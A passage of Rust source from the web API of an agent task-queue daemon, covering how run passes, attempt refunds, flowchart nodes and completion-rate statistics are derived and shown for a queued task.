5334        };
5335        Self {
5336            index: p.index,
5337            resumed: p.resumed,
5338            started_at: p.started_at,
5339            ended_at: p.ended_at,
5340            end,
5341            cause,
5342            label,
5343            cost: settled.map(|t| t.cost),
5344        }
5345    }
5346}
5347
5348/// How one pass over a run ended, as far as the task's life is concerned.
5349#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5350#[serde(rename_all = "snake_case")]
5351enum RunExit {
5352    Unreadable,
5353    /// An earlier pass of a run id that appears again: it stopped short.
5354    Interrupted,
5355    Parked,
5356    QuotaStall,
5357    /// Stalled on a resumed pass with quota losses on record: they may be
5358    /// left over from an earlier pass, so whether this one was refunded is
5359    /// not knowable.
5360    ResumedQuotaStall,
5361    Merged,
5362    Ready,
5363    Superseded,
5364    /// The change was already on the base under other commits: the task
5365    /// finished without this run landing anything.
5366    AlreadyInBase,
5367    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5368    Stalled,
5369    /// Blocked / no-op with a pull request left open: held for a person.
5370    HeldWithPr,
5371    NoopHeld,
5372    /// Blocked or failed: the attempt is spent and the task retries or holds.
5373    Spent,
5374    InProgress,
5375}
5376
5377#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5378#[serde(rename_all = "snake_case")]
5379enum AttemptCost {
5380    Spent,
5381    Refunded,
5382    None,
5383    /// Cannot be told from the records that remain.
5384    Unknown,
5385}
5386
5387impl RunExit {
5388    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5389        let Some(s) = s else {
5390            return Self::Unreadable;
5391        };
5392        let status = s.status;
5393        if resumed_later {
5394            Self::Interrupted
5395        } else if s.parked {
5396            Self::Parked
5397        } else if !status.done() {
5398            Self::InProgress
5399        } else if matches!(status, RunStatus::Merged) {
5400            Self::Merged
5401        } else if matches!(status, RunStatus::Ready) {
5402            Self::Ready
5403        } else if matches!(status, RunStatus::Superseded) {
5404            Self::Superseded
5405        } else if matches!(status, RunStatus::AlreadyInBase) {
5406            Self::AlreadyInBase
5407        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5408            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5409        {
5410            if resumed {
5411                Self::ResumedQuotaStall
5412            } else {
5413                Self::QuotaStall
5414            }
5415        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5416            Self::HeldWithPr
5417        } else if matches!(status, RunStatus::VerifiedNoop) {
5418            Self::NoopHeld
5419        } else if matches!(status, RunStatus::Stalled) {
5420            Self::Stalled
5421        } else {
5422            Self::Spent
5423        }
5424    }
5425
5426    fn cost(self) -> AttemptCost {
5427        match self {
5428            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5429            Self::Merged
5430            | Self::Ready
5431            | Self::Stalled
5432            | Self::HeldWithPr
5433            | Self::NoopHeld
5434            | Self::Spent => AttemptCost::Spent,
5435            Self::InProgress => AttemptCost::None,
5436            Self::AlreadyInBase => AttemptCost::Refunded,
5437            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5438                AttemptCost::Unknown
5439            }
5440        }
5441    }
5442
5443    /// Short edge wording for leaving a run this way.
5444    fn edge_label(self, status: Option<&str>) -> String {
5445        match self {
5446            Self::Unreadable => "record unreadable".to_owned(),
5447            Self::Interrupted => "interrupted before the run finished".to_owned(),
5448            Self::Parked => "parked, attempt refunded".to_owned(),
5449            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5450            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5451            Self::Merged => "merged".to_owned(),
5452            Self::Ready => "ready, not merged".to_owned(),
5453            Self::Superseded => "superseded by a later attempt".to_owned(),
5454            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5455            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5456            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5457            Self::NoopHeld => "verified no-op".to_owned(),
5458            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5459            Self::InProgress => "in progress".to_owned(),
5460        }
5461    }
5462
5463    /// Does a task in `end` follow from a run that ended this way? When not,
5464    /// somebody closed or held the task by hand.
5465    fn explains(self, end: TaskStatus) -> bool {
5466        match self {
5467            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5468            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5469            Self::Unreadable | Self::Superseded | Self::Ready => true,
5470            _ => end != TaskStatus::Done,
5471        }
5472    }
5473}
5474
5475/// `GET /api/queue/{id}` - one task with every attempt it went through.
5476#[derive(Debug, Serialize)]
5477struct TaskDetailView {
5478    #[serde(flatten)]
5479    task: TaskView,
5480    /// Task override, or the default daemon budget when inherited.
5481    /// A separate loop's command-line limit is not visible from here.
5482    max_attempts: usize,
5483    history: Vec<TaskRunView>,
5484    /// Entries in `history`: passes over runs, not distinct runs and not
5485    /// attempts consumed (`task.attempts`).
5486    passes_total: usize,
5487    /// Distinct runs those passes belong to.
5488    runs_distinct: usize,
5489    flow: FlowView,
5490    /// Set for a follow-up task; see [`followup_origin`].
5491    followup_origin: Option<FollowUpOrigin>,
5492    /// How many entries of `history` could not be read.
5493    runs_unreadable: usize,
5494    /// Why the attempt count can be lower than the number of runs.
5495    attempts_note: &'static str,
5496}
5497
5498const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5499and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5500on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5501the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5502
5503/// The branch a review-only run reopened, read off the instruction
5504/// `Runner::open_review` writes.
5505fn review_branch_of(instruction: &str) -> Option<&str> {
5506    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5507    rest.split('`').next().filter(|b| !b.is_empty())
5508}
5509
5510/// Where an entry sits in a task's run list.
5511#[derive(Default)]
5512struct RunSlot<'a> {
5513    /// 1-based position.
5514    n: usize,
5515    /// The same run id appeared earlier: this pass resumed it.
5516    resumed: bool,
5517    /// Position of a later pass over the same run id, if any.
5518    resumed_later: Option<usize>,
5519    /// The previous distinct run and how it ended, for the retry note.
5520    prior: Option<(&'a str, RunStatus)>,
5521    last: bool,
5522    /// This pass as the run recorded it, when it did.
5523    pass: Option<&'a crate::run::RunPass>,
5524    /// What the task recorded when it settled this pass.
5525    settled: Option<&'a crate::queue::TaskPass>,
5526    /// 1-based position among the task's entries for this run, and their count.
5527    pass_n: usize,
5528    passes_of_run: usize,
5529}
5530
5531/// Describe one entry of a task's run list. Pure: everything it needs is on
5532/// the run and the task, so it is asserted without a server.
5533fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5534    let RunSlot {
5535        n,
5536        resumed,
5537        resumed_later,
5538        prior,
5539        last,
5540        pass,
5541        settled,
5542        pass_n,
5543        passes_of_run,
5544    } = at;
5545    let short = run::short_of(id).to_owned();
5546    let Some(s) = state else {
5547        return TaskRunView {
5548            n,
5549            id: id.to_owned(),
5550            short,
5551            kind: "unknown",
5552            status: None,
5553            readable: false,
5554            provisional: false,
5555            description:
5556                "This run's record could not be read by this build (written by a different \
5557                          magi, or removed), so what kind of attempt it was is unknown."
5558                    .to_owned(),
5559            outcome: String::new(),
5560            created_at: None,
5561            pr: None,
5562            exit: RunExit::Unreadable,
5563            attempt: AttemptCost::Unknown,
5564            exit_label: RunExit::Unreadable.edge_label(None),
5565            later_pass: resumed_later,
5566            pass_n,
5567            passes_of_run,
5568            pass: None,
5569            branch: None,
5570            badge: None,
5571        };
5572    };
5573    let branch = review_branch_of(&s.instruction);
5574    let kind = if resumed {
5575        "resume"
5576    } else if branch.is_some() {
5577        "review"
5578    } else if task.solo || s.candidates.len() == 1 {
5579        "solo"
5580    } else {
5581        "competition"
5582    };
5583    let mut description = match kind {
5584        "resume" => {
5585            format!("Resumed run {short}: the same run carried on instead of competing again.")
5586        }
5587        "review" => format!(
5588            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5589            branch.unwrap_or_default()
5590        ),
5591        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5592        _ => format!(
5593            "Competition: {} candidates judged blind.",
5594            s.candidates.len().max(1)
5595        ),
5596    };
5597    if !resumed && let Some((p, st)) = prior {
5598        description.push_str(&format!(
5599            " A retry: run {p} before it ended {}.",
5600            st.display_label()
5601        ));
5602    }
5603
5604    let status = s.status;
5605    let provisional = matches!(status, RunStatus::Stalled)
5606        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5607    let head = if resumed_later.is_some() {
5608        String::new()
5609    } else {
5610        match status {
5611            RunStatus::Merged => "Merged.".to_owned(),
5612            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5613            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5614            RunStatus::AlreadyInBase => {
5615                "Already in the base: this change landed under other commits, nothing was left to land."
5616                    .to_owned()
5617            }
5618            RunStatus::Stalled => {
5619                "Stalled: the judging panel never reached a quorum, so there is no verdict."
5620                    .to_owned()
5621            }
5622            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5623            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5624            RunStatus::VerifiedNoop => {
5625                "Verified no-op: the candidates found nothing to change.".to_owned()
5626            }
5627            other if other.done() => format!("Ended {}.", other.display_label()),
5628            other => format!("In progress ({}).", other.display_label()),
5629        }
5630    };
5631    let view = pass.map(|p| PassView::of(p, settled));
5632    let recorded_end = view
5633        .as_ref()
5634        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5635    let cost_words = match view.as_ref().and_then(|v| v.cost) {
5636        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5637        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5638        None => "whether its attempt was handed back was not recorded",
5639    };
5640    let pass_note = if passes_of_run > 1 {
5641        format!(
5642            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5643        )
5644    } else {
5645        String::new()
5646    };
5647    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5648        // The run recorded this pass's end when it happened.
5649        let cause = match v.end {
5650            "parked" => format!("It was stopped on purpose: {}.", v.label),
5651            _ => format!("It {}.", v.label),
5652        };
5653        format!(
5654            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5655            capitalise(cost_words)
5656        )
5657    } else if let Some(k) = resumed_later {
5658        // A run is only picked up again while it is unfinished, so an earlier
5659        // pass of a repeated id stopped short; the record keeps only the run's
5660        // latest status, which is left to the pass that carried it on.
5661        // Only the latest state is recorded: `parked` is cleared on resume
5662        // and `quota` accumulates across passes, so neither says why *this*
5663        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5664        let cause = if s.quota.is_empty() {
5665            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5666        } else {
5667            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5668        };
5669        format!(
5670            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5671        )
5672    } else if s.parked {
5673        match recorded_end.and_then(|v| v.cause.as_ref()) {
5674            Some(cause) => format!(
5675                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5676                cause.label(),
5677                cost_words
5678            ),
5679            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5680                .to_owned(),
5681        }
5682    } else if !status.done()
5683        || matches!(
5684            status,
5685            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5686        )
5687    {
5688        String::new()
5689    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5690        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5691    {
5692        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5693            .to_owned()
5694    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5695        " It left a pull request open, so the task was held for a person rather than retried."
5696            .to_owned()
5697    } else if matches!(status, RunStatus::VerifiedNoop) {
5698        " Held for a person to check the claim.".to_owned()
5699    } else if last {
5700        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5701    } else {
5702        " It spent an attempt, and the task moved on to the next run.".to_owned()
5703    };
5704    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5705    let mut attempt = exit.cost();
5706    let mut exit_label = None;
5707    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5708        let spent = match v.cost {
5709            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5710            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5711            None if resumed_later.is_some() => ", refund not recorded",
5712            None => ", attempt refunded",
5713        };
5714        attempt = match v.cost {
5715            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5716            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5717            None if resumed_later.is_some() => AttemptCost::Unknown,
5718            None => attempt,
5719        };
5720        if v.end == "parked" {
5721            exit = RunExit::Parked;
5722            exit_label = Some(match v.cause.as_ref() {
5723                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5724                    format!("parked for {}{spent}", c.label())
5725                }
5726                Some(c) => format!("parked ({}){spent}", c.label()),
5727                None => format!("parked{spent}"),
5728            });
5729        } else {
5730            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5731        }
5732    }
5733    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5734    TaskRunView {
5735        n,
5736        id: id.to_owned(),
5737        short,
5738        kind,
5739        status: Some(status.as_str()),
5740        readable: true,
5741        provisional,
5742        description,
5743        outcome: format!("{head}{why}"),
5744        created_at: Some(s.created_at),
5745        pr: s.pr.as_ref().map(|p| p.url.clone()),
5746        exit,
5747        attempt,
5748        exit_label,
5749        later_pass: resumed_later,
5750        pass_n,
5751        passes_of_run,
5752        pass: view,
5753        branch: branch.map(str::to_owned),
5754        badge: None,
5755    }
5756}
5757
5758fn capitalise(s: &str) -> String {
5759    let mut c = s.chars();
5760    c.next().map_or_else(String::new, |f| {
5761        f.to_uppercase().collect::<String>() + c.as_str()
5762    })
5763}
5764
5765/// One box of the task's flowchart.
5766#[derive(Debug, Serialize, PartialEq)]
5767struct FlowNode {
5768    /// Unique by position: a resumed run id appears once per pass.
5769    key: String,
5770    /// `chat`, `followup`, `start`, `run` or `end`.
5771    kind: &'static str,
5772    label: String,
5773    /// Run status (or the task's, for `end`); `None` when it is not a fact
5774    /// about this box (unreadable, or a pass the run later resumed from).
5775    status: Option<&'static str>,
5776    /// Whose status `status` is, so the client picks the right colour table:
5777    /// `task` (the `followup` parent and `end`) or `run`.
5778    status_of: &'static str,
5779    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5780    note: Option<&'static str>,
5781    run_kind: Option<&'static str>,
5782    detail: Option<String>,
5783    /// A readable run with a real verdict; a stall never is.
5784    decided: bool,
5785    readable: bool,
5786    href: Option<String>,
5787    /// Overrides `status` as the badge word (`stale` / `superseded`).
5788    badge: Option<String>,
5789    /// Start of this entry, never the run's latest update or pass settlement.
5790    started_at: Option<Timestamp>,
5791    /// Context links (chat / follow-up) do not represent execution entries.
5792    time_expected: bool,
5793}
5794
5795#[derive(Debug, Serialize, PartialEq)]
5796struct FlowEdge {
5797    from: String,
5798    to: String,
5799    label: String,
5800    attempt: AttemptCost,
5801}
5802
5803#[derive(Debug, Serialize, PartialEq)]
5804struct FlowView {
5805    nodes: Vec<FlowNode>,
5806    edges: Vec<FlowEdge>,
5807    /// Attempts the task has counted since it was last released.
5808    attempts: usize,
5809    max_attempts: usize,
5810    /// Entries in the run list (passes), and how many distinct runs they are.
5811    /// Neither is the number of attempts consumed.
5812    passes: usize,
5813    runs: usize,
5814}
5815
5816/// Turn a task and its described runs into the flowchart's boxes and arrows.
5817/// Pure: the page only draws what this returns.
5818///
5819/// A follow-up opens with its parent (or the merged run) unless the task's
5820/// *source* is itself a chat, in which case the chat stays first and the
5821/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5822/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5823/// two normally do not coincide and the nearer origin wins.
5824fn task_flow(
5825    task: &Task,
5826    history: &[TaskRunView],
5827    max_attempts: usize,
5828    origin: Option<&FollowUpOrigin>,
5829) -> FlowView {
5830    let max_attempts = task.effective_attempt_limit(max_attempts);
5831    let node = |key: &str, kind, label: String| FlowNode {
5832        key: key.to_owned(),
5833        kind,
5834        label,
5835        status: None,
5836        status_of: "run",
5837        note: None,
5838        run_kind: None,
5839        detail: None,
5840        decided: false,
5841        readable: true,
5842        href: None,
5843        badge: None,
5844        started_at: None,
5845        time_expected: matches!(kind, "start" | "run" | "end"),
5846    };
5847    let mut nodes = Vec::new();
5848    let mut edges: Vec<FlowEdge> = Vec::new();
5849    // A task queued from a chat opens the flow with that conversation.
5850    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5851        let mut n = node(
5852            "chat",
5853            "chat",
5854            format!("Chat {}", crate::queue::short(&link.id)),
5855        );
5856        n.href = Some(link.href);
5857        nodes.push(n);
5858        edges.push(FlowEdge {
5859            from: "chat".to_owned(),
5860            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5861            label: "queued from chat".to_owned(),
5862            attempt: AttemptCost::None,
5863        });
5864    }
5865    if let Some(o) = origin {
5866        let mut n = match &o.parent {
5867            Some(p) => {
5868                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5869                n.status = Some(p.status);
5870                n.status_of = "task";
5871                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5872                n.href = Some(p.href.clone());
5873                n
5874            }
5875            None => {
5876                let mut n = node(
5877                    "origin",
5878                    "followup",
5879                    format!("Follow-up of run {}", o.run.short),
5880                );
5881                n.detail = Some("merged run".to_owned());
5882                n.status = o.run.status;
5883                n.href = o.run.href.clone();
5884                if o.run.href.is_none() {
5885                    n.readable = false;
5886                    n.note = Some("unreadable");
5887                }
5888                n
5889            }
5890        };
5891        n.decided = true;
5892        let from = n.key.clone();
5893        nodes.push(n);
5894        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5895        let more = o.findings.len().saturating_sub(shown.len());
5896        let label = match (shown.is_empty(), more) {
5897            (true, _) => "open findings".to_owned(),
5898            (false, 0) => format!("open findings {}", shown.join(", ")),
5899            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5900        };
5901        edges.push(FlowEdge {
5902            from,
5903            to: "start".to_owned(),
5904            label,
5905            attempt: AttemptCost::None,
5906        });
5907    }
5908    let mut start = node("start", "start", "Task queued".to_owned());
5909    start.started_at = Some(task.created_at);
5910    nodes.push(start);
5911    let mut prev = "start".to_owned();
5912    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5913    for (i, h) in history.iter().enumerate() {
5914        let key = format!("run-{}", h.n);
5915        let mut n = node(&key, "run", format!("Run {}", h.short));
5916        // Creation marks only the first pass of legacy runs. A resumed pass
5917        // without a record must not inherit the original run's start time.
5918        n.started_at = h
5919            .readable
5920            .then(|| {
5921                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5922                    h.created_at
5923                } else {
5924                    None
5925                })
5926            })
5927            .flatten();
5928        n.run_kind = Some(h.kind);
5929        n.readable = h.readable;
5930        n.href = Some(format!("#/runs/{}", h.id));
5931        n.decided = h.readable && !h.provisional;
5932        n.detail = h
5933            .branch
5934            .as_ref()
5935            .map(|b| format!("review-only run of branch {b}"));
5936        match h.exit {
5937            RunExit::Unreadable => n.note = Some("unreadable"),
5938            RunExit::Interrupted => n.note = Some("interrupted"),
5939            // An earlier pass the run recorded as parked: the status shown
5940            // would be the run's current one, not this pass's.
5941            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5942            _ => {
5943                n.status = h.status;
5944                n.badge = h.badge.clone();
5945                if h.provisional {
5946                    n.note = Some("no verdict");
5947                }
5948            }
5949        }
5950        let into = match h.kind {
5951            "review" => Some(format!(
5952                "review-only run of branch {}",
5953                h.branch.as_deref().unwrap_or("?")
5954            )),
5955            "resume" => Some("resume the same run".to_owned()),
5956            _ if i > 0 => Some("retry".to_owned()),
5957            _ => None,
5958        };
5959        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5960        let label = match (prev_exit, into) {
5961            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5962            (Some((_, l, _)), None) => l,
5963            (None, Some(i)) => i,
5964            (None, None) => "claimed".to_owned(),
5965        };
5966        edges.push(FlowEdge {
5967            from: prev.clone(),
5968            to: key.clone(),
5969            label,
5970            attempt,
5971        });
5972        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5973        prev = key;
5974        nodes.push(n);
5975    }
5976    let mut end = node("end", "end", task.status.as_str().to_owned());
5977    end.status = Some(task.status.as_str());
5978    end.status_of = "task";
5979    // Other task states do not persist their transition start. In particular,
5980    // blocked_at can change while the task remains blocked.
5981    if task.status == TaskStatus::Held {
5982        end.started_at = task.held_at;
5983    }
5984    nodes.push(end);
5985    let (label, attempt) = match prev_exit {
5986        None => (
5987            format!("no run yet \u{2192} {}", task.status.as_str()),
5988            AttemptCost::None,
5989        ),
5990        Some((e, l, cost)) if e.explains(task.status) => {
5991            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5992        }
5993        Some((_, _, cost)) => (
5994            format!("closed by hand: task is {}", task.status.as_str()),
5995            cost,
5996        ),
5997    };
5998    edges.push(FlowEdge {
5999        from: prev,
6000        to: "end".to_owned(),
6001        label,
6002        attempt,
6003    });
6004    FlowView {
6005        nodes,
6006        edges,
6007        attempts: task.attempts,
6008        max_attempts,
6009        passes: history.len(),
6010        runs: distinct_runs(&task.runs),
6011    }
6012}
6013
6014/// How many different run ids a task's run list names.
6015fn distinct_runs(runs: &[String]) -> usize {
6016    let mut seen: Vec<&str> = Vec::new();
6017    for r in runs {
6018        if !seen.contains(&r.as_str()) {
6019            seen.push(r);
6020        }
6021    }
6022    seen.len()
6023}
6024
6025/// Describe recorded task passes, retaining unrecorded legacy list entries.
6026fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6027    let mut slots = Vec::new();
6028    let mut seen = Vec::new();
6029    for run_id in &task.runs {
6030        if seen.contains(&run_id) {
6031            continue;
6032        }
6033        seen.push(run_id);
6034        let state = read(run_id);
6035        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6036            s.passes
6037                .iter()
6038                .filter(|p| {
6039                    p.task_entry
6040                        || task
6041                            .passes
6042                            .iter()
6043                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6044                })
6045                .cloned()
6046                .collect()
6047        });
6048        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6049        let total = legacy_count.max(mine.len());
6050        let offset = total - mine.len();
6051        for k in 0..total {
6052            // Legacy repeated entries retain their original positions. When
6053            // ids are unique, recorded pass times recover the resume order.
6054            let position = task
6055                .runs
6056                .iter()
6057                .enumerate()
6058                .filter(|(_, r)| *r == run_id)
6059                .nth(k.min(legacy_count - 1))
6060                .unwrap()
6061                .0;
6062            slots.push((
6063                run_id,
6064                state.clone(),
6065                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6066                position,
6067            ));
6068        }
6069    }
6070    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6071        slots.sort_by_key(|(_, state, pass, _)| {
6072            pass.as_ref()
6073                .map(|p| p.started_at)
6074                .or_else(|| state.as_ref().map(|s| s.created_at))
6075                .map_or((true, task.created_at), |at| (false, at))
6076        });
6077    } else {
6078        slots.sort_by_key(|(_, _, _, position)| *position);
6079    }
6080    let mut history = Vec::with_capacity(slots.len());
6081    let mut seen: Vec<&str> = Vec::new();
6082    let mut prior: Option<(&str, RunStatus)> = None;
6083    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6084        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6085        let resumed = k > 0;
6086        seen.push(run_id);
6087        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6088        let pass = pass.as_ref();
6089        let settled = pass.and_then(|p| {
6090            task.passes
6091                .iter()
6092                .find(|t| t.run == **run_id && t.pass_index == p.index)
6093        });
6094        history.push(task_run_view(
6095            run_id,
6096            state.as_ref(),
6097            RunSlot {
6098                n: i + 1,
6099                resumed,
6100                resumed_later: slots[i + 1..]
6101                    .iter()
6102                    .position(|(id, _, _, _)| id == run_id)
6103                    .map(|off| i + off + 2),
6104                prior,
6105                last: i + 1 == slots.len(),
6106                pass,
6107                settled,
6108                pass_n: k + 1,
6109                passes_of_run: total,
6110            },
6111            task,
6112        ));
6113        if let Some(s) = &state {
6114            prior = Some((run::short_of(run_id), s.status));
6115        }
6116    }
6117    history
6118}
6119
6120/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6121/// An earlier pass of a resumed run keeps no badge (it has no status box).
6122fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6123    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6124        return;
6125    }
6126    let (_, claimed, _) = run_row_inputs(ui);
6127    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6128    for h in history
6129        .iter_mut()
6130        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6131    {
6132        let Ok(state) = read_run(&ui.runs, &h.id) else {
6133            continue;
6134        };
6135        if state.status.done() {
6136            continue;
6137        }
6138        let live = state.liveness_with(
6139            claimed.contains(&h.id),
6140            |p| probe.borrow_mut().status(p),
6141            |p| probe.borrow_mut().started_at(p),
6142        );
6143        let waiting = !ui.questions.open_for(&h.id).is_empty();
6144        let display = run_display_status(&state, waiting, live);
6145        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6146        if matches!(word.as_str(), "stale" | "superseded")
6147            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6148        {
6149            h.badge = Some(word);
6150        }
6151    }
6152}
6153
6154async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6155    blocking(move || {
6156        let id = resolve_task(&ui.queue, &id)?;
6157        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6158    })
6159    .await
6160}
6161
6162async fn task_detail(
6163    State(ui): State<Arc<Ui>>,
6164    Path(id): Path<String>,
6165) -> ApiResult<Json<TaskDetailView>> {
6166    blocking(move || {
6167        let id = resolve_task(&ui.queue, &id)?;
6168        let task = ui
6169            .queue
6170            .get(&id)
6171            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6172        let inv = if task.status == TaskStatus::Blocked {
6173            Some(crate::blockers::Inventory::load_for(
6174                &ui.queue,
6175                &ui.questions,
6176                &task,
6177            ))
6178        } else {
6179            None
6180        };
6181        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6182        mark_badges(&ui, &task, &mut history);
6183        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6184        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6185        let origin = task.followup.as_ref().map(|fu| {
6186            followup_origin(
6187                fu,
6188                |tid| ui.queue.get(tid).ok(),
6189                |rid| read_run(&ui.runs, rid).ok(),
6190            )
6191        });
6192        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6193        let task_view = match inv.as_ref() {
6194            Some(inv) => TaskView::with_inventory(task, inv),
6195            None => TaskView::from(task),
6196        };
6197        Ok(Json(TaskDetailView {
6198            max_attempts,
6199            flow,
6200            followup_origin: origin,
6201            passes_total: history.len(),
6202            runs_distinct: distinct_runs(&task_view.task.runs),
6203            history,
6204            runs_unreadable,
6205            attempts_note: ATTEMPTS_NOTE,
6206            task: task_view,
6207        }))
6208    })
6209    .await
6210}
6211
6212/// A rate together with its denominator, so the client can tell "computed as
6213/// 0%" apart from "no data to compute it from" — both would otherwise
6214/// serialize as `0.0`. `None` means the denominator was zero.
6215#[derive(Debug, Serialize)]
6216struct RateView {
6217    pct: f64,
6218    denominator: usize,
6219}
6220
6221impl RateView {
6222    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6223        (denominator > 0).then(|| Self {
6224            pct: 100.0 * numerator as f64 / denominator as f64,
6225            denominator,
6226        })
6227    }
6228}
6229
6230/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6231/// rates, each paired with its own denominator via [`RateView`] rather than
6232/// exposing `Stats`' own percentage methods directly — see this module's
6233/// doc for why `Stats` itself is never serialized.
6234#[derive(Debug, Serialize)]
6235struct StatsTotalsView {
6236    runs: usize,
6237    merged: usize,
6238    ready: usize,
6239    blocked: usize,
6240    failed: usize,
6241    stalled: usize,
6242    verified_noop: usize,
6243    superseded: usize,
6244    in_progress: usize,
6245    completion_rate: Option<RateView>,
6246    tallied: usize,
6247    split: usize,
6248    split_rate: Option<RateView>,
6249    deliberated: usize,
6250    minds_changed: usize,
6251    converged: usize,
6252    review_rounds: usize,
6253}
6254
6255impl From<&stats::Totals> for StatsTotalsView {
6256    fn from(t: &stats::Totals) -> Self {
6257        Self {
6258            runs: t.runs,
6259            merged: t.merged,
6260            ready: t.ready,
6261            blocked: t.blocked,
6262            failed: t.failed,
6263            stalled: t.stalled,
6264            verified_noop: t.verified_noop,
6265            superseded: t.superseded,
6266            in_progress: t.in_progress,
6267            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6268            tallied: t.tallied,
6269            split: t.split,
6270            split_rate: RateView::of(t.split, t.tallied),
